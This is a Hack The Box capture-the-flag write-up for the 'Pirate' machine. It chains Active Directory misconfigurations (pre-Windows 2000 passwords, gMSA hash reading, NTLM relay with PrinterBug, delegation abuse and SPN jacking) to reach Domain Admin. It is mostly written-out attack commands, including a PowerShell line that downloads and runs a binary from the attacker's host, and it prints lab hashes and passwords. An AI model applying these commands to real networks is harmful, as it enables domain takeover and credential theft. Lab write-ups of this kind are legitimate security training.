Pirate WriteUp
Table of Contents
Pirate is a π₯ Hard machine on Hack The Box that simulates an enterprise Active Directory environment with two network segments, pivoting, and an attack chain that links six distinct techniques. The goal is to fully compromise the Domain Controller starting from low-privilege credentials.
Initial credentials provided: π pentest:p3nt3st2025!&
πΊοΈ Attack Chain
Here’s the full chain before diving into detail:
pentest credentials (assumed breach)
β
βΌ
LDAP Enumeration βΊ MS01$ with Pre-Windows 2000 flag
β
βΌ
Trivial password ms01 βΊ TGT for MS01$
β
βΌ
gMSA Dump βΊ NTLM hash of gMSA_ADFS_prod$
β
βΌ
WinRM on DC01 (non-admin)
β
βΌ
Ligolo-MP βΊ Access to internal network 192.168.100.0/24
β
βΌ
PrinterBug + NTLM Relay βΊ RBCD on WEB01
β
βΌ
getST (S4U2Proxy) βΊ Administrator on WEB01
β
βΌ
secretsdump WEB01 βΊ a.white:E2nvAOKSz5Xz2MJu [user.txt] π©
β
βΌ
ForceChangePassword βΊ Control of a.white_ADM
β
βΌ
WriteSPN + SPN Jacking βΊ Ticket as Administrator on DC01
β
βΌ
secretsdump DC01 βΊ Domain Admin [root.txt] π΄
Pirate is one of those machines that reminds you why Active Directory is still such a rich target in real environments. No kernel exploits, no flashy CVEs, the whole path is built by chaining misconfigurations, legacy permissions, and poorly planned delegations. Exactly what you find in real audits.
π Reconnaissance
First things first, understand what we’re dealing with.
echo "10.129.15.1 pirate.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv pirate.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -O --script vuln,default -oA scan -vvv pirate.htb
When you see ports 88 (Kerberos), 389 (LDAP), 3268 (Global Catalog) and 5985 (WinRM) together, you already know you’re looking at a Domain Controller. SMB signing being enabled is also an important data point, we’ll use that later to understand why certain relay techniques don’t work directly.
Before enumerating anything, confirm the credentials and auto-generate the hosts file:
netexec smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' --generate-hosts-file hosts_file
{ echo -e "\n# Pirate Machine"; sort -V hosts_file; } | sudo tee -a /etc/hosts
ποΈ LDAP Enumeration, More Than It Looks
With valid credentials, LDAP is a goldmine. Enumerate users, computers and groups:
netexec ldap dc01.pirate.htb -u pentest -p 'p3nt3st2025!&' --users
netexec ldap dc01.pirate.htb -u pentest -p 'p3nt3st2025!&' --computers
netexec ldap dc01.pirate.htb -u pentest -p 'p3nt3st2025!&' --groups
In the groups output there’s something interesting: Pre-Windows 2000 Compatible Access with 4 members. That group exists for backward compatibility with Windows NT 4.0 systems, if Authenticated Users is inside, any domain user can read nearly all directory information.
Among the computers we see MS01$, EXCH01$, WEB01$ and the gMSA accounts. What stands out about MS01$ and EXCH01$ is that they have no DNS record and their lastLogon is 0. Let’s confirm:
ldapsearch -H ldap://dc01.pirate.htb \
-D "pentest@pirate.htb" \
-w 'p3nt3st2025!&' \
-b "DC=pirate,DC=htb" \
"(objectClass=computer)" \
sAMAccountName lastLogon userAccountControl dNSHostName pwdLastSet
For MS01$ the result is clear: lastLogon: 0, empty dNSHostName and userAccountControl: 4128. That value is the sum of 4096 (WORKSTATION_TRUST_ACCOUNT) + 32 (UF_USE_DES_KEY_ONLY, the Pre-Windows 2000 compatibility flag). The conclusion: the account was pre-created in AD with that box checked but never actually joined the domain. That means its password was never changed since creation.
β³ Pre-Windows 2000, Passwords That Never Expired
When an admin creates a computer account in AD with the option Assign this computer account as a pre-Windows 2000 computer, the initial password set by the system is simply the machine name in lowercase. For MS01$, the password would be ms01.
The netexec pre2k module automates this detection:
sudo ntpdate dc01.pirate.htb # always sync before using Kerberos
netexec ldap dc01.pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -M pre2k
β οΈ You’ll likely hit a
KRB_AP_ERR_SKEWerror before it works. Kerberos requires the attacker’s clock to be within 5 minutes of the DC, so always sync first withntpdate.
Once synced, the module confirms both vulnerable accounts and retrieves their TGTs. You can also get the ticket manually:
impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip 10.129.15.1
export KRB5CCNAME=MS01\$.ccache
π gMSA Password Dump, First Privilege Jump
Group Managed Service Accounts (gMSA) are service accounts whose password is managed by the DC itself, it rotates automatically, is 120 characters long and is stored in AD. The key is the msDS-GroupMSAMembership attribute: an ACL that controls which computers or groups can read that password.
With ldapsearch I previously confirmed that MS01$ appears in that list for both gMSA accounts. Now with its ticket we can read the hashes:
netexec ldap dc01.pirate.htb -k --use-kcache --gmsa
gMSA_ADCS_prod$ NTLM: 25c7f0eb586ed3a91375dbf2f6e4a3ea
gMSA_ADFS_prod$ NTLM: fd9ea7ac7820dba5155bd6ed2d850c09
The gMSA_ADFS_prod$ account is a member of Remote Management Users, which means WinRM access to the DC:
netexec winrm dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H fd9ea7ac7820dba5155bd6ed2d850c09
# [+] Pwn3d! β
evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H fd9ea7ac7820dba5155bd6ed2d850c09
First foothold on the DC, no admin privileges yet.
π Internal Reconnaissance, Discovering the Network
From the shell on DC01, ipconfig confirms two interfaces: 10.129.15.1 (reachable from Kali) and 192.168.100.1 (internal network). Time to pivot.
Setting up Ligolo-MP to tunnel traffic to the internal network:
# On Kali
sudo systemctl start ligolomp.service
# On DC01 (via evil-winrm)
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/ligolomp.exe' -OutFile 'C:\Windows\Temp\ligolomp.exe'; Start-Process -NoNewWindow -FilePath 'C:\Windows\Temp\ligolomp.exe'"
Once the agent connects, add the route in the Ligolo console and scan the network:
netexec smb 192.168.100.0/24
This reveals WEB01 (192.168.100.2) with a crucial detail: SMB signing disabled π―. This is what makes NTLM relay possible, if signing were active the packets are signed and cannot be relayed.
netexec smb 192.168.100.0/24 --generate-hosts-file hosts_file_2
{ echo -e "\n# Pirate Machine"; sort -V hosts_file_2; } | sudo tee -a /etc/hosts
β‘ NTLM Relay + PrinterBug, Compromising WEB01
Confirm that the Spooler service is running on WEB01:
netexec smb web01.pirate.htb -u 'gMSA_ADFS_prod$' -H fd9ea7ac7820dba5155bd6ed2d850c09 -M spooler
The plan: use PrinterBug to force WEB01 to authenticate against us via NTLM, capture that authentication with ntlmrelayx, and configure RBCD (Resource-Based Constrained Delegation) on WEB01. This will let us impersonate any user, including Administrator.
First, create a computer account we control, needed for RBCD because we need a principal whose credentials we fully own:
impacket-addcomputer -computer-name 'hackpuntes' -computer-pass '1Qwerty!' \
-dc-host dc01.pirate.htb 'pirate.htb/gMSA_ADFS_prod$' \
-hashes :fd9ea7ac7820dba5155bd6ed2d850c09
With everything in place, launch the attack across two terminals:
π₯οΈ Terminal 1:
sudo impacket-ntlmrelayx -t ldap://10.129.15.1 -smb2support --remove-mic \
--delegate-access --escalate-user 'hackpuntes$'
π₯οΈ Terminal 2:
python3 printerbug.py -hashes :fd9ea7ac7820dba5155bd6ed2d850c09 \
'pirate.htb/GMSA_ADFS_PROD$'@192.168.100.2 10.10.15.223
π‘ The
--remove-micflag is required because DC01 has SMB signing active, it strips the Message Integrity Code from the NTLM message so the relay toward LDAP works.
Once ntlmrelayx confirms that hackpuntes$ can impersonate users on WEB01, request an Administrator ticket:
impacket-getST pirate.htb/hackpuntes$:'1Qwerty!' \
-spn cifs/WEB01.pirate.htb \
-impersonate Administrator \
-dc-ip 10.129.15.1
export KRB5CCNAME=Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
With that ticket, dump WEB01:
impacket-secretsdump -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb
Among the secrets, in cleartext:
PIRATE\a.white:E2nvAOKSz5Xz2MJu
π© user.txt on a.white’s desktop on WEB01.
π ForceChangePassword + WriteSPN β Domain Admin
BloodHound reveals that a.white has the ForceChangePassword permission over a.white_ADM. This permission allows changing another user’s password without knowing the current one:
bloodyAD --host 192.168.100.1 -d Pirate.htb \
-u a.white -p E2nvAOKSz5Xz2MJu \
set password 'a.white_ADM' '1Qwerty!'
Now check a.white_ADM’s delegations:
impacket-findDelegation pirate.htb/a.white_adm:'1Qwerty!' -dc-ip 192.168.100.1
The result is the missing piece:
a.white_adm Constrained w/ Protocol Transition http/WEB01.pirate.htb
a.white_ADM has Constrained Delegation with Protocol Transition toward the SPN http/WEB01.pirate.htb. They also belong to the IT group which has WriteSPN over DC01. There’s the vector: SPN Jacking π―.
π΄ SPN Jacking, The Final Step
The idea behind SPN Jacking is leveraging the fact that SPNs are unique across the domain. If the SPN http/WEB01.pirate.htb is registered on WEB01$ and a.white_ADM has delegation toward that SPN, we can move that SPN to DC01$ (using the WriteSPN we have) and make the delegation point to the DC instead of WEB01.
First, remove the SPN from WEB01:
python3 addspn.py -t 'WEB01$' -u 'pirate.htb\a.white_adm' -p '1Qwerty!' \
'DC01.pirate.htb' -r --spn 'http/WEB01.pirate.htb'
Then add it to DC01:
python3 addspn.py -t 'DC01$' -u 'pirate.htb\a.white_adm' -p '1Qwerty!' \
'dc01.pirate.htb' -s 'http/WEB01.pirate.htb'
Now request a ticket as Administrator for the SPN http/WEB01.pirate.htb, using -altservice to rewrite it as cifs/DC01.pirate.htb. This works because the TGS is signed by the KDC and DC01 accepts it:
impacket-getST -spn 'http/WEB01.pirate.htb' \
-impersonate administrator \
'pirate.htb/a.white_adm:1Qwerty!' \
-dc-ip 10.129.15.1 \
-altservice 'cifs/DC01.pirate.htb'
export KRB5CCNAME=administrator@http_WEB01.pirate.htb@PIRATE.HTB.ccache
impacket-secretsdump -k -no-pass dc01.pirate.htb
π΄ Domain Admin compromised. root.txt on the Administrator’s desktop on the DC.
π Final Notes
A few things worth remembering from this machine:
β° Kerberos clock skew is one of the most common issues when attacking AD from Linux. Always sync the clock with ntpdate before requesting tickets. The 5-minute window Kerberos gives you runs out faster than you’d think.
π SMB signing on DC01 doesn’t block the relay if you route it correctly. The --remove-mic flag in ntlmrelayx strips the Message Integrity Code, allowing relay even when signing is active, as long as the final target (LDAP in this case) doesn’t require it too.
π΄ Pre-Windows 2000 accounts are more common than expected in environments that have been running for years or migrated from legacy infrastructure. Always worth checking with the pre2k module.
π― SPN Jacking is an elegant technique that combines WriteSPN with Constrained Delegation. The key concept: SPNs are unique in the directory, if you move the SPN to the object you want to compromise, the delegation follows.
See you in the next challenge.
